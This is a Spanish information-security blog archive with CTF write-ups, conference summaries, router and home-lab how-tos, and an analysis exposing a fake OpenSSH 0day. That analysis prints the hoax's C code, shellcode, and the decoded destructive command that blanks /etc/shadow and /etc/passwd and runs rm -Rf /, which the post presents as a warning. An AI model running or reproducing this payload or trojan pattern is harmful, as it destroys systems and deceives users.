Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo de Autor

acONOnado con el nuevo servicio de Wi-Fi gratis de ONO

Andaba yo tranquilamente viendo la televisión un rato, cuando veo un fantástico anuncio de la compañía ONO en la televisión en la que se ofrece a los clientes móviles acceso a Internet de alta velocidad mediante Wi-Fi. Rápidamente caí en la cuenta de que esta misma semana (que estaba experimentando problemas con la Wi-Fi de mi casa) había visto una red Wi-Fi rara: “_AUTO_ONOWiFi”, y me temía lo peor…

Al acceder a la página de ONO para consultar acerca del servicio me he encontrado perlas como esta:

Captura de pantalla 2014-07-04 a la(s) 19.30.53

 

 

Vaya, un servicio que pueden utilizar incluso no clientes… mmm, cómo lo ofrecerán, habrán puesto antenas por ahí? veamos más… por ejemplo las condiciones legales del servicio…

Captura de pantalla 2014-07-04 a la(s) 19.35.21

WTF! Red doméstica formada gracias a la reconfiguración de los cable módems de nuestros clientes!!!! seguro que les habrán avisado…

pues no! resulta que mi cable módem era uno de los bonitos que estaba ofreciendo este servicio por la cara, y sin avisarme previamente… desde luego que mis días como cliente de ONO están contados.

Si sois usuarios de ONO chequead que vuestro cable módem no esté publicando una Wi-Fi con el SSID mencionado antes, y si lo está y no estáis de acuerdo (yo desde luego NO cedo MI INFRAESTRUCTURA sin haber dado NINGÚN TIPO DE  CONSENTIMIENTO PREVIO y SIN HABER SIDO NOTIFICADO), podéis solicitar la baja en la propia página de ONO. Yo comprobé de forma fácil que mi cable módem era un “lila” porque la intensidad de la Wi-Fi “pa la peña” esa era la misma que la de mi Wi-Fi; sin complicarme más apagué mi cable módem para ver desaparecer ambas Wi-Fi a la vez: la de mi casa y la otra de mi casa que ONO utiliza para invitar a navegar a la gente.

Captura de pantalla 2014-07-04 a la(s) 19.41.30

He ido tan rápido y malhumorado a deshabilitarlo que no me ha dado ni tiempo a pegarle un vistazo a lo que se podía hacer desde ahí…

Captura de pantalla 2014-07-04 a la(s) 19.43.31

 

Los muy majos además te ponen la desactivación del 2º SSID desde “Mis productos”, en fin…

Después de deshabilitarlo he googleado un poco y había gente que lo advertía ya desde hace tiempo.

Espero que no os hayan dado el palo como me lo han dado a mí.

Buen fin de semana!

 


“Kicking around SCADA!” en RootedCON 2014

Los pasado días 6, 7 y 8 de Marzo se celebró en Madrid la V edición de las RootedCON. En ella, nuestro compañero Juan Vázquez (@_juan_vazquez_) y yo mismo (@julianvilas) tuvimos la oportunidad de presentar el resultado del trabajo de investigación sobre SCADA que llevábamos realizando los últimos meses.

La ponencia se tituló “Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!”, y en ella explicamos las vulnerabilidades que encontramos en el producto Yokogawa CENTUM CS3000, un Sistema de Control Distribuido (DCS/SCADA) desplegado en más de 7.600 instalaciones a lo largo del mundo (según el fabricante), utilizado en refinerías, petroquímicas, sector energético, oil&gas, y un largo etcétera de entornos considerados infraestructuras críticas.

Se encontraron vulnerabilidades a nivel de configuración del entorno / software base, a nivel de diseño de los protocolos (ausencia de cifrado, autenticación, control de integridad, etc.), y a nivel de implementación. Estas últimas se corresponden con los advisories publicados por el fabricante y por el ICS-CERT (CVE-2014-0781, CVE-2014-0783, CVE-2014-0784), vulnerabilidades provocadas por desbordamientos de buffer en el stack y en el heap que permiten ejecución remota de código, para las cuales ya se han publicado tanto parches como pruebas de concepto (exploits) en Metasploit Framework.

También hicimos una demostración de posibles acciones de post-explotación una vez comprometido el sistema, en la que troyanizábamos las comunicaciones entre las estaciones de operación (HIS) y el controlador (FCS). Para finalizar la charla contamos también los resultados de escanear internet gracias a la colaboración de Rapid7 y su proyecto Sonar, que realiza este tipo de escaneos.

Podéis ver las slides de la charla en Slideshare, y tan pronto como la organización de RootedCON publique los vídeos actualizaremos el post.

Agradecer desde aquí a la RootedCON y a todos sus asistentes el habernos permitido pasar un tan buen momento.

Saludos!


Solución reto China – Final CTF NcN 2013

Hace unos días tuvimos la suerte de poder participar en la final del CTF de las No cON Name 2013, organizado por el Security Staff de Facebook.

La verdad, estuvo genial organizado y realmente nos divertimos mucho. ¡Felicidades Facebook & NcN staff! Enhorabuena también a los otros participantes, y en especial a los ganadores :)

En el concurso se publicaron un conjunto de servidores, cada uno de ellos correspondiente con un país.

Cada servidor/país podía ser una base o un flag:

  • Las bases contenían retos que podían ser resueltos una vez por cada equipo.
  • Los flags contenían algún tipo de vulnerabilidad que permitía a los equipos capturarlo (el flag). Los puntos se otorgaban por el tiempo que el equipo tuviese en su poder el flag. Básicamente los flags consistían en escribir en el fichero “/tmp/SCORE_POINTS” del servidor en cuestión, el nombre del equipo.

En este post os vamos a explicar como pudimos capturar el flag de China! :)

Al realizar un escaneo de puertos contra el servidor, éste presentaba abiertos los puertos 80 y 12345. El segundo era el utilizado por la organización para monitorizar los flags, así que procedimos a acceder al puerto 80.

Imagen

Y esto era lo que nos encontramos. Lo primero que hicimos, tirar de google translate para traducir el texto en chino. Básicamente era un formulario de login. Al probar a autenticarse, daba un error en el usuario/contraseña, y las pruebas de inyección realizadas no dieron resultado.

Por lo que procedimos a examinar con más detalle las peticiones y respuestas intercambiadas. Para ir al grano, el punto interesante era el proceso de autenticación:

Imagen

Y ¿qué era lo interesante de este caso?

  1. Un token AntiCSRF en el formulario de autenticación nos pareció un poco raro. Este tipo de tokens se utiliza en formularios que permiten hacer algún tipo de modificación
  2. El token AntiCSRF, tiene pinta de algo codificado (desde luego no de un hash)

Procedimos a su decodificación:

Imagen

Lo que nos indicaba que era un archivo binario, nos revelaba un path con un archivo .py, nos mostraba un hash y la palabra secret. Volcamos el contenido en un fichero y ejecutamos el comando file:

python 2.7 byte-compiled

Por lo que procedimos a decompilarlo:

Imagen

Básicamente lo que contenía era una asignación de una variable, siendo el path un metadato del fichero. Por lo que construimos nuestro propio python:

Imagen

Generamos un fichero byte-compiled (.pyc):

Captura de pantalla 2013-11-07 a la(s) 00.19.04

Lo codificamos en base64:

Captura de pantalla 2013-11-07 a la(s) 00.24.28

Y finalmente hacemos tampering de la petición cambiando el token AntiCSRF por el que hemos generado nosotros, y voilà! habíamos capturado la bandera de China :)

Esperamos poder subir en los próximos días alguna solución más :)

Un saludo!


CTF de la No cON Name 2013 (write-up)

Buenas a todos,

después de algún tiempo sin nuevas entradas en el blog, hemos pensado que una buena forma de regresar sería publicando nuestras soluciones a los retos de la ronda clasificatoria del primer CTF que se organiza en las conferencias No cON Name, en este año 2013.

Esta ronda de clasificación ha consistido en la resolución de un juego de estilo “Jeopardy”, consistente en 3 niveles. El primero de ellos relacionado con Web, el segundo con Android y el tercero con reversing de binarios.

Imagen

 

En este post describiremos cómo solucionamos el nivel 3, en el que se entregaba un binario de tipo ELF de 64 bits. Al ejecutarlo mostraba lo siguiente:

De forma que al escribir, el programa finalizaba indicando el siguiente mensaje:

Para resolver el desafío hicimos un desensamblado del binario, y analizamos su comportamiento. En primer lugar el programa imprimía por pantalla el texto que hemos podido ver anteriormente:

Imagen

 

A continuación entraba en un bucle de 10 iteraciones, en el que se van leyendo los caracteres introducidos por el usuario y se comparan con el contenido de la variable “facebookctf_rocks”. Esta variable es un array de DWORDs, en las que el byte más significativo de cada DWORD contiene el valor que va a comparar con el carácter introducido por el usuario, y los otros 3 bytes de la DWORD son ceros.

Imagen

 

El contenido de la variable “facebookctf_rocks” es el siguiente:

20 00 00 00

53 00 00 00

55 00 00 00

52 00 00 00

50 00 00 00

52 00 00 00

49 00 00 00

53 00 00 00

45 00 00 00

21 00 00 00

Y teniendo en cuenta lo explicado anteriormente, se corresponde con la cadena “\x20\x53\x55\x52\x50\x52\x49\x53\x45\x21”, o lo que es lo mismo ” SURPRISE!” (con un espacio al principio). 

Si introducimos esa cadena, el programa muestra el siguiente mensaje:

 

Una forma alternativa de obtener la clave (sin introducir el texto), es analizar la parte final del binario, en la que se aprecian tres caminos diferentes: que se haya presionado la tecla de salida (call seeyaaaa), que se haya introducido un carácter que no es el esperado (call game_over), o que se haya introducido la cadena esperada (call success).

Imagen

 

Por lo que si debugueamos el programa y modificamos el EIP por la dirección de memoria donde se llama a la función “success” (0x000000000040117B), obtendremos el mismo resultado. 

En breve publicaremos la solución de los otros 2 niveles :)

Saludos!!


SOURCE Barcelona 2011 – Parte 2

Continuando con lo explicado por Juan, os cuento acerca de las charlas en las que estuve presente:

Wfuzz para Penetration Testers

Christian Martorella y Xavier Mendez, de Verizon Bussiness (y de edge-security), nos explicaron ejemplos prácticos de uso de la herramienta Wfuzz: básicamente una herramienta para realizar bruteforcing en aplicaciones Web. Probablemente a muchos de vosotros ya os suene esta herramienta (de hecho no es nueva), que lleva formando parte del arsenal de herramientas de Backtrack desde hace ya algunas ediciones.

La charla se orientó a las mejoras que han incluido recientemente en la herramienta (y que presentaron en el Blackhat Arsenal USA de este año), entre las que destaca la inclusión de un framework para scripting y mejoras en el rendimiento de la herramienta (hablaron de un 60% de mejora, llegando a rates de 900 peticiones por segundo).

Algunas indicaciones básicas acerca de la herramienta:

  • Permite bruteforcing en diferentes puntos de entrada de la aplicación Web, tales como parámetros, cabeceras, recursos, formularios, etc.
  • Se basa en el uso de Payloads (fuentes de datos como ficheros, la entrada estándar, rangos, nombres, etc.), Encoders (codificación de los Payloads en múltiples formatos como URL encoding, URL encoding doble, etc.), Iteradores (controlan la estrategia de fuzzing a utilizar), Printers (formatos para la salida de resultados) y, como novedad, los Plugins.
  • Permite la creación de baselines, para luego poder esconder valores que formen parte de la misma y así detectar anomalías más rápidamente.

Y ahora las partes que más me gustaron o que me parecieron más relevantes en la presentación:

  • Es una herramienta “artesanal”, potente y útil en la realización de pentesting, pero que requiere de conocimiento por parte de quien la esté utilizando. NO es un escáner de vulnerabilidades Web.
  • Se puede integrar con la herramienta Magictree (lectura de página y vídeo de ejemplo recomendados), permitiendo retroalimentar resultados. Es decir, los resultados que tengamos cargados en Magictree (que pueden provenir de otras herramientas) pueden ser nuevos objetivos para Wfuzz, quien además puede exportar los resultados de nuevo a Magictree.
  • Permite realizar password guessing siguiendo diferentes aproximaciones: Scan Vertical, Horizontal, Diagonal, Tres y Cuatro Dimensiones, etc. (terminología empleado por Robert “Rsnake” Hanson en su libro).
  • Existen plugins ya disponibles para, por ejemplo, algo tan útil como tomar screenshots de las Webs que cumplan con las condiciones que establezcamos para el fuzzing.

Para profundizar más podéis ver las slides de la presentación, y trastear con la herramienta  ;)

Advanced (Persistent) Binary Planting

Esta charla impartida por Mitja Kolsek, personalmente me gustó mucho. En ella se habló acerca del Binary Planting, que para los que no conozcáis el término, comentaros que hace referencia a una vulnerabilidad que ya tiene algo de tiempo y que se reavivó a mediados del 2010 por algunos nuevos vectores de explotación de la misma. Básicamente reside en el mecanismo de carga de librerías de forma dinámica por parte de aplicaciones.

Uno de los puntos fuertes de la charla es que fue muy práctica, y se mostró que encontrar aplicaciones vulnerables aun es factible a día de hoy. Mitja nos mostró como utilizando el Proccess Explorer de las Sysinternals, encontrar bugs de este tipo era una tarea casi para todos los públicos :).

Y qué comenta la charla acerca de la persistencia? Pues una estrategia bastante original:

  • Los navegadores Web más utilizados en plataformas Windows, por defecto descargan los archivos a la carpeta de “Descargas”
  • Si nos bajamos un instalador (pe. el instalador de la Java Virtual Machine) a la carpeta de descargas, esta carpeta será considerada por el SSOO como su carpeta de instalación, por lo que cualquier librería que quiera cargar el binario de forma dinámica será buscada primero en este directorio (independientemente del current working directory)
  • Algunos navegadores (pe. Chrome) son vulnerables a ataques de clickjacking para la descarga de archivos! Es decir, podríamos engañar a la víctima (usuaria de Chrome) mediante algún juego, consiguiendo que sin darse cuenta se descargase algún archivo .dll o .exe a la carpeta de “Descargas”, que pudiera ser utilizado en un futuro por algún instalador que cargase una librería con ese nombre.

Hown NOT to do a Penetration Test

Esta charla, de carácter más teórico, fue impartida por Stefan Friedli, impulsor del Penetration Testing Execution Standard (PTES). Una metodología para planificar, gestionar y ejecutar un Pentest.

Stefan Friedli en Sourceconference Barcelona 2011

Algunos de los comentarios de Stefan fueron:

  • “una compañía que no realiza ninguna tareas de seguridad no realiza un pentest, necesita primero arreglar su situación”
  • “una forma para discriminar un buen pentester de un no tan buen pentester puede ser el hecho de que utilice alguna metodología, como PTES”
  • “es importante la definición de un correcto alcance en un pentest, pues a una compañía le importarán más aquellas cosas que puedan afectar a su negocio”
  • “es importante que los pentesters no se centren únicamente en la explotación de vulnerabilidades, existen otras tareas importantes en la ejecución de un pentest.

Una charla interesante que generó algo de debate, acerca de los umbrales de calidad y lo que al final los clientes finales suelen valorar más (el precio).

La verdad es que las conferencias estuvieron muy bien, el lugar en el que se celebran excelente, y como siempre el ambiente muy agradable. Esperemos poder repetir para el año que viene ;)

Un saludo!


Configurar Huawei HG556a de Vodafone como punto de acceso (AP)

Topología de ejemplo

Antes de nada disculparme porque os debo un post acerca de la configuración de un laboratorio casero, pero como apliqué bastantes cambios a la configuración que tenía estoy esperando a tener algo definitivo para contároslo ;). Para ir haciendo boca, os comento un problema que he tenido y cómo lo he solucionado:

Mi conexión a Internet es por cable (OÑO), y mi conexión vino con un “fantástico” router WiFi WebStar EPR 2320. Como veréis si hacéis algunas búsquedas por Internet, no tiene muy buena reputación. A mí, como a mucha gente, me daba problemas con la tabla de NAT (PAT), de modo que cuando abría varias pestañas del navegador que accedían a páginas con Ads (que suelen tener múltiples enlaces), el cacharro se desbordaba y la conexión a Internet dejaba de funcionar correctamente (probablemente por saturación de la tabla de traducción de red/puertos).

Más adelante os explicaré con más precisión el problema, porque la topología utilizada también contribuía en el problema (utilizaba la funcionalidad de DMZ Host) y contribuyó en la elección de la solución: poner el router en modo Bridge, dejar que gestionase el NAT un dispositivo más potente y colocar un Access Point para conectarme a la WiFi.

Simplificando, imaginaos que tenéis una conexión a Internet con un router que no tiene WiFi, y que por los motivos que sean no queréis suprimirlo. En ese caso podéis añadir un Access Point en la LAN cableada del router y así dar acceso a clientes WiFi. Pues bien, en mi caso no tenía un punto de acceso, pero sí un router WiFi de Vodafone Huawei HG556a.

En este post quiero explicaros como configurar en HG556a como Access Point, en una topología como la mencionada.

Topología de ejemplo

En primer lugar habréis de acceder al HG556a (en adelante AP) con privilegios de administración (encontraréis información de como hacerlo por Internet).

Después configurar la LAN del AP con el mismo direccionamiento que tenéis en vuestra red cableada (en el ejemplo 172.X.X.0/24) y, importante,  deshabilitar el DHCP del AP. ¿Por qué? Pues porque sino tendréis problemas porque se pondrá a sí mismo como Default Gateway (el AP con dirección 172.X.X.2) y cuando intentemos acceder a una página con el navegador, el AP la reemplazará por una en la que muestra un error por no estar en funcionamiento el ADSL.

Configuración de LAN

LAN AP

Después activamos como puerta de enlace el router conectado a Internet.

Configuración de routing para LAN

Configuración routing

Y acto seguido hemos de configurar la interfaz WAN para que actúe como modo bridge, que habrá de quedar de la siguiente forma:

Única conexión WAN

Conexión WAN

Para ello seguimos los pasos mostrados a continuación:

Datos configuración WAN

Configuración parámetros ADSL

Selección modo puente

Configuración en modo puente

Activación servicio de puente

Activación del servicio de puente para datos

Configuración WAN como puente en LAN

Configuración WAN como puente en LAN

Y ya está casi todo hecho. El siguiente paso es conseguir que los usuarios que se conecten por WiFi al AP reciban una dirección IP y, para ello, vamos a utilizar el router que está conectado a Internet (que probablemente ya tenía un servidor DHCP activado). Este router habrá de responder a las solicitudes DHCP identificándose a sí mismo como el Default Gateway para los clientes WiFi (en la topología de ejemplo esto significa que el Default Gateway para los clientes WiFi habría de ser la dirección 172.X.X.1).

El problema es que el AP no hace relay de las solicitudes y respuestas DHCP entre la red cableada y la inálámbrica, y tampoco dispone de ninguna funcionalidad para activarlo.

En este punto podemos realizar el siguiente truquillo: primero descargamos el fichero de configuración del router

Hacer backup de la configuración del AP

Funcionalidad de backup del AP

Lo abrimos con un editor de texto y buscamos la cadena “dhcpRelay”, que por defecto tomará un valor de “0″. Cambiando el valor por “1″, ya tendremos la posibilidad de que el router conectado a Internet haga de servidor DHCP para los clientes WiFi conectados al AP.

Modificación de dhcpRelay en fichero de configuración

Fichero de configuración

Para ello subimos el fichero de configuración modificado

Subida de fichero de configuración modificado

Funcionalidad de actualizar configuración

Y ya debería funcionar nuestro router WiFi convertido en AP!

Espero que os sea de utilidad ;)


BlackHat Europe 2011 – Resumen de Charlas (Parte III)

Bruce Schneier

Buenas gente,

mi turno! :)

antes de nada me gustaría hacer una valoración general del evento: ha sido muy positivo, pero con muy poca presencia nacional! No sabemos si ha sido porque las Rooted CON fueron hace muy poquito, si es porque este año ya no ha sido novedad que se celebrasen en nuestro pais o simple casualidad, pero se podían contar con las manos a los paisanos :(

También me gustaría enviar un fuerte abrazo a nuevos amigos de Argentina que tuvimos la oportunidad de conocer: Sebastian y Alfredo de Groundworks Technologies (que como ya ha comentado Pau dieron una brillante charla) y unos cuantos amigos más de Core (tenía una foto con Federico Muttis y la chica “anonymous” ;) pero no la encuentro :P). Grandísimos!

Y ahora sí vamos a las charlas:

Día 1

[Application Dissection] The ABAP Underverse – Risky ABAP to Kernel communication and ABAP-tunneled buffer overflows / Andreas Wiegenstein

Personalmente esta charla me gustó mucho, ya que toca una temática que llevo un tiempo investigando: la seguridad en SAP. En concreto trató de vulnerabilidades en el lenguaje de programación utilizado en este sistema, conocido como ABAP.

Acerca de ABAP (Advanced Bussiness Application Programming):

  • Es un lenguaje propietario, y sus especificaciones completas no están disponibles
  • Es independiente de la plataforma (bytecode sobre ABAP Runtime)
  • La comunicación entre sistemas SAP se realiza mediante RFC (Remote Function Call)
  • El control de versiones y el sistema de transporte (entre entornos de desarrollo, QA, Producción) están integrados
  • Utiliza OpenSQL para el acceso a back-end (independiente del back-end utilizado)

Cosas muy interesantes explicadas durante la charla:

  • ABAP es un lenguaje susceptible a vulnerabilidades de tipo inyección SQL
  • En ABAP se puede inyectar código estático y ejecutarlo posteriormente
  • En ABAP se puede inyectar código dinámico y ecutarlo posteriormente (además este código se ejecuta on-the-fly y no quedan trazas)
  • El código ABAP customizado puede evadir restricciones de seguridad del estándar de SAP (p.e. el sistema de autorizaciones está disponible para su uso pero no es implícito)
  • ABAP es vulnerable a desbordamientos de buffer

Durante la charla se mostraron DEMOS de una inyección SQL que consultaba información en todos los mandantes, de inyección de código y de ruptura del servicio mediante la explotación de un desbordamiento de buffer.

[Keynote] Cyberwar/ Bruce Schneier

El archi-conocido Bruce Schneier nos habló de su visión y reflexiones acerca de la ciberguerra, así de cómo está afectando el creciente uso de este término en los gobiernos de las grandes potencias.

Os dejo los conceptos que más me gustaron:

  • El principal problema de la ciberguerra es que es un término que no está claramente definido
  • En la guerra tradicional, los gobiernos de las naciones tienen el control. La ciberguerra puede ser iniciada por ciudadanos
  • Es difícil saber quién te ataca y cómo, por eso es difícil protegerse
  • En la ciberguerra, el principal objetivo es controlar (por ejemplo como hace un APT), y el peor objetivo es destruir
  • Las tecnologías actuales dificultan la interceptación de las comunicaciones para los gobiernos, y por tanto para las labore de inteligencia. Es más fácil pinchar un teléfono que controlar todas las comunicaciones que puedan realizarse vía Internet (p.e. Skype, el chat de Second Life, etc.)
  • Un país es tan vulnerable en la ciberguerra como dependiente es del ciberespacio. Evidentemente los países más desarrollados suelen ser los más vulnerables.

Ya podéis ver el vídeo y comentar lo que queráis ;)


Black Hat Europe 2011

BH EU 2011
Pasada la segunda edición de una de las mejores conferencias nacionales, las Rooted CON 2011, pasamos a una de las internacionales que nos cae muy de cerca.

Este año, por segunda vez consecutiva, el evento Black Hat Europe tiene lugar en Barcelona (y Testpurposes.net estaremos allí)

El evento constará como siempre de trainings (15 y 16 de Marzo) y de briefings (17 y 18 de Marzo), que por cierto tienen muy buena pinta :)

Esperamos veros por allí, y si todavía no tenéis vuestra entrada, los lectores de Testpurposes.net podéis obtener un descuento de 350 euros utilizando el código de promoción TPReadersBH durante el registro.

BH EU 2011

Para los que no vengáis, no os preocupéis, os iremos poniendo al día desde aquí ;)

Buen fin de semana!


Fake 0day exploit para OpenSSH

Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).

Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:

Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.

Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:

Además de este, se han detectado otras variantes, supuestamente multiplataforma:

Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.

Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

En realidad del supuesto exploit, el único código relevante es el siguiente:

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();

En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable “shellcode”, por lo que realmente éste se ejecuta en local.

A continuación se adjunta el análisis estático de la shellcode:

seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 push    0Bh
seg000:00000002                 pop     eax             ; eax => system call numbre = 0xB (execve)
seg000:00000003                 cdq                     ; edx => \0
seg000:00000004                 push    edx
seg000:00000005                 push    small 'c-'
seg000:00000009                 mov     edi, esp        ; edi => pointer to "-c"
seg000:0000000B                 push    'hs/'
seg000:00000010                 push    'nib/'
seg000:00000015                 mov     ebx, esp        ; ebx => pointer to "/bin/sh"
seg000:00000017                 push    edx             ; push NULL
seg000:00000018                 call    loc_56          ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56:                                 ; CODE XREF: seg000:00000018?p
seg000:00000056                 push    edi             ; push pointer to "-c"
seg000:00000057                 push    ebx             ; push pointer to "/bin/sh"
seg000:00000058                 mov     ecx, esp        ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A                 int     80h             ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000          ends
seg000:0000005A
seg000:0000005A
seg000:0000005A                 end

Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.


Setting up your home LAB (parte II)

Instala el sistema

Descargamos el sistema operativo a instalar desde http://www.ubuntu.com/server/get-ubuntu/download. En esta ocasión se instalará Ubuntu Server 10.04 LTS a modo de ejemplo.

Se graba la ISO de un CD-ROM y se procede a la instalación.

  1. Realizar una instalación estándar (al gusto) hasta el momento del particionado del disco
  2. En este paso, seleccionar la opción de realizar un particionado manual, para poder realizar la instalación en RAID0.
  3. Crear tablas de particiones en los dos discos duros, y seleccionar la opción “Configurar RAID por software”
  4. (más…)


Videos de las No cON Name 2010

Hace poco os contábamos acerca de nuestra participación en las NcN 2010, y la gran calidad de las charlas que se dieron.

Pues ya están publicados los vídeos de las conferencias! :)

Podéis encontralos en la página de la asociación:

http://noconname.org/congreso.html#videos

A disfrutarlos ;)


Setting up your home LAB (parte I)

Es común que los amantes de la Seguridad Informática dediquen buenas horas en sus casas a investigar y trastear en la materia. Si estás leyendo este Blog, probablemente es que tú también eres uno de ellos ;-).

Y qué mejor para tus investigaciones caseras que tu propio mini-laboratorio? Este post pretende dar algunas ideas a la hora de montarlo.

Virtualízate

Es una opción económica y escalable para tener una infraestructura de sistemas en tu casa. Existen múltiples soluciones de virtualización (VMware, Xen, Virtualbox, etc.), pero para este ejemplo vamos a utilizar KVM.

La idea es montar un servidor de máquinas e infraestructuras de red virtuales, y además, queremos que el sistema anfitrión (host) consuma los mínimos recursos y únicamente haga de puente entre los sistemas virtuales y el hardware. A esto se le conoce como virtualización de tipo 1 y KVM es un sistema de este tipo, entre otros (p.e. VMware ESX).

(más…)


No cON Name 2010

El pasado 21 de Octubre de 2010 se celebró la edición 2010 del congreso de las NcN 2010. Durante ésta tuve el placer de compartir, junto con mis compañeros Juan y Pau, el resultado de la investigación realizada sobre el SMSspoofing y sus riesgos derivados en la actualidad.

La investigación se ha llevado a cabo gracias a la colaboración y apoyo de la empresa en la que trabajo, TB·Security.

En ella hemos tenido la oportunidad de analizar el estado del arte de SMSspoofing, así como para ampliar las funcionalidades de SET (Social Engineering Toolkit) para:

  • El envío de SMS mediante proveedores de envío de mensajes (spoofeables)
  • La explotación de vulnerabilidades en terminales móviles
  • La incorporación y creación de plantillas para mensajes SMS enviados

En posteriores entradas iremos profundizando en los detalles de la investigación realizada, compartiendo nuestras experiencias y descubrimientos. Por lo de pronto queremos haceros llegar la presentación realizada :)

Por último felicitar y agradecer a la asociación No cON Name por el evento, en el que personalmente me lo pasé genial. Felicitar también a los ponentes, que dieron unas charlas de lo más interesante y agradecer a TB·Security su gran apoyo y colaboración.

Hasta pronto!

Presentacion-NCN_2010


Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.